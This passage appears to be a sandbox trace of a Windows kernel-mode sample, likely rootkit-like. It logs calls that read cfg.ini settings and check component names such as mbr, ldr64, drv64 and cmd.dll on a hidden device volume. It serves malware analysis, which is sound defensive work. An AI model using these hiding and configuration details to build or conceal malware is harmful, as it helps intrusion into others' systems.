FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1a000 [0125.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.060] IdePortDispatch () returned 0x103 [0125.060] KeWaitForMutexObject () returned 0x0 [0125.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.060] IdePortDispatch () returned 0x103 [0125.061] KeWaitForMutexObject () returned 0x0 [0125.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.061] KeLeaveCriticalRegion () [0125.061] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.061] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.061] KeEnterCriticalRegion () [0125.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.061] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.061] KeLeaveCriticalRegion () [0125.061] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.061] KeEnterCriticalRegion () [0125.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.061] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.061] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5b00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.061] KeLeaveCriticalRegion () [0125.061] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.061] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.062] KeEnterCriticalRegion () [0125.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.062] ExFreePoolWithTag (P=0xfffffa8003bf5f60, Tag=0x0) [0125.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.062] KeLeaveCriticalRegion () [0125.062] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.062] ReleaseMutex (hMutex=0xf0) returned 1 [0125.062] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.062] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.062] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.062] KeEnterCriticalRegion () [0125.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.062] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.062] IdePortDispatch () returned 0x103 [0125.062] KeWaitForMutexObject () returned 0x0 [0125.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.062] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.062] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.062] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.062] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.062] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0125.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.062] KeLeaveCriticalRegion () [0125.062] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.062] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.062] KeEnterCriticalRegion () [0125.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.062] KeLeaveCriticalRegion () [0125.062] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.062] KeEnterCriticalRegion () [0125.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.063] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.063] IdePortDispatch () returned 0x103 [0125.063] KeWaitForMutexObject () returned 0x0 [0125.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.063] KeLeaveCriticalRegion () [0125.063] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.063] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.063] KeEnterCriticalRegion () [0125.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1b000 [0125.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.063] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.063] IdePortDispatch () returned 0x103 [0125.063] KeWaitForMutexObject () returned 0x0 [0125.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.063] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.063] IdePortDispatch () returned 0x103 [0125.064] KeWaitForMutexObject () returned 0x0 [0125.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.064] KeLeaveCriticalRegion () [0125.064] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.064] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.064] KeEnterCriticalRegion () [0125.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.064] KeLeaveCriticalRegion () [0125.064] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.064] KeEnterCriticalRegion () [0125.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.064] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.064] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.064] KeLeaveCriticalRegion () [0125.064] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.064] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.065] KeEnterCriticalRegion () [0125.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.065] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0125.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.065] KeLeaveCriticalRegion () [0125.065] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.065] ReleaseMutex (hMutex=0xf0) returned 1 [0125.065] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.065] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.065] KeEnterCriticalRegion () [0125.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.065] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.065] IdePortDispatch () returned 0x103 [0125.065] KeWaitForMutexObject () returned 0x0 [0125.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.065] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.065] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.065] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.065] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.065] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5ca0 [0125.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.065] KeLeaveCriticalRegion () [0125.065] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.065] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.065] KeEnterCriticalRegion () [0125.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.065] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.065] KeLeaveCriticalRegion () [0125.066] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.066] KeEnterCriticalRegion () [0125.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.066] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.066] IdePortDispatch () returned 0x103 [0125.066] KeWaitForMutexObject () returned 0x0 [0125.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.066] KeLeaveCriticalRegion () [0125.066] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.066] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.066] KeEnterCriticalRegion () [0125.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1c000 [0125.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.066] IdePortDispatch () returned 0x103 [0125.066] KeWaitForMutexObject () returned 0x0 [0125.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.066] IdePortDispatch () returned 0x103 [0125.067] KeWaitForMutexObject () returned 0x0 [0125.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.067] KeLeaveCriticalRegion () [0125.067] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.067] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.067] KeEnterCriticalRegion () [0125.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.067] KeLeaveCriticalRegion () [0125.067] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.067] KeEnterCriticalRegion () [0125.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.067] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.067] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.067] KeLeaveCriticalRegion () [0125.067] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.067] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.067] KeEnterCriticalRegion () [0125.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.068] ExFreePoolWithTag (P=0xfffffa8003bf5ca0, Tag=0x0) [0125.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.068] KeLeaveCriticalRegion () [0125.068] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.068] ReleaseMutex (hMutex=0xf0) returned 1 [0125.068] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.068] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.068] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.068] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.068] KeEnterCriticalRegion () [0125.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.068] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.068] IdePortDispatch () returned 0x103 [0125.068] KeWaitForMutexObject () returned 0x0 [0125.068] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.068] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.068] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.068] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.068] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.068] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.068] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.068] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.068] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.068] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.068] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.068] KeLeaveCriticalRegion () [0125.068] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.068] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.069] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.069] KeEnterCriticalRegion () [0125.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.069] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.069] IdePortDispatch () returned 0x103 [0125.069] KeWaitForMutexObject () returned 0x0 [0125.069] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.069] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.069] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.069] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.069] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.069] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.069] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.069] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.069] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.069] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.069] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.069] KeLeaveCriticalRegion () [0125.069] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.069] ReleaseMutex (hMutex=0x100) returned 1 [0125.069] Sleep (dwMilliseconds=0x2bf20) [0125.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dbfe890, dwHighDateTime=0x1d24fa4)) [0125.077] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.077] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.077] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.077] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.077] KeEnterCriticalRegion () [0125.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: 